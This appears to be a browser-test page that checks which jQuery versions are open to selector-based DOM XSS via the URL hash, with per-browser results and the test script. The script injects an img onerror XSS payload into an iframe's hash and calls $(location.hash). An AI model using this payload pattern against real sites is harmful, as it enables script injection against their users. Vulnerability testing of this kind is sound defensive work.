jQuery Versions Vulnerable to Selector DOM XSS via # aka Selector IDs.

List of all jQuery versions vulnerable to the Selector DOM XSS. (http://ma.la/jquery_xss/)

By
tester_dt 0 Seen 266 times
Tags
jquery xss bug
Run this test now.

Results


Tested on
Googlebot - 2.1 - undefined
VerVuln
jQuery 3.3.1Safe
jQuery 1.12.4Safe
jQuery 1.12.3Safe
jQuery 1.12.2Safe
jQuery 1.12.1Safe

Tested on
Chrome - 69 - Mac OS X
VerVuln
jQuery 3.3.1Safe
jQuery 1.12.4Safe
jQuery 1.12.3Safe
jQuery 1.12.2Safe
jQuery 1.12.1Safe

Tested on
Chrome Mobile - 41 - Android
VerVuln
jQuery 3.3.1Safe
jQuery 1.12.4Safe
jQuery 1.12.3Safe
jQuery 1.12.2Safe
jQuery 1.12.1Safe

User Script (ENUM_FUNCTION)

					
				
// Custom Functions
var jQuery_version = '';
function vulnerable(){
    addError('jQuery '+ jQuery_version, '<b>Vulnerable</b>');
}

function safe(){
    addSuccess('jQuery '+ jQuery_version, 'Safe');
}
    
function removeIframe(){
    var x = document.getElementById('jQueryFrameID');
    x.parentNode.removeChild(x);
}

// Test Function
function test(data){
	// We need to separate properties and access one by one.
try{
    jQuery_version = data;
    var jQueryFrame = document.createElement('iframe');
    jQueryFrame.src = location.href+'#<img src=x onerror=bad();>';
    jQueryFrame.id = 'jQueryFrameID';
    jQueryFrame.onload = function(){
            var jQueryScript = jQueryFrame.contentWindow.document.createElement('script');
            jQueryScript.type = 'text/javascript';
            jQueryScript.src = 'https://ajax.googleapis.com/ajax/libs/jquery/'+ data.toString() +'/jquery.js';
            jQueryFrame.contentWindow.document.body.appendChild(jQueryScript);
            jQueryScript.onload = function(){console.warn(location.href);
                var exploitScript = "try{function bad(){parent.vulnerable(); parent.removeIframe();} $(location.hash);} catch(err){parent.safe();parent.removeIframe();}";
                var exploit = jQueryFrame.contentWindow.document.createElement('script');
                exploit.type = 'text/javascript';
                exploit.innerHTML = exploitScript;
                jQueryFrame.contentWindow.document.body.appendChild(exploit);
                
            };
            jQueryScript.onerror = function(){
                addResult(data ,  'Some Error Occured');
            };
    };
    document.body.appendChild(jQueryFrame);

}

catch(err){
	addInfo(data ,  'Some Error Occured');
}

}

					
				

Enum Data (ENUM_FUNCTION)

					
var data = ['3.3.1', '1.12.4', '1.12.3', '1.12.2', '1.12.1'];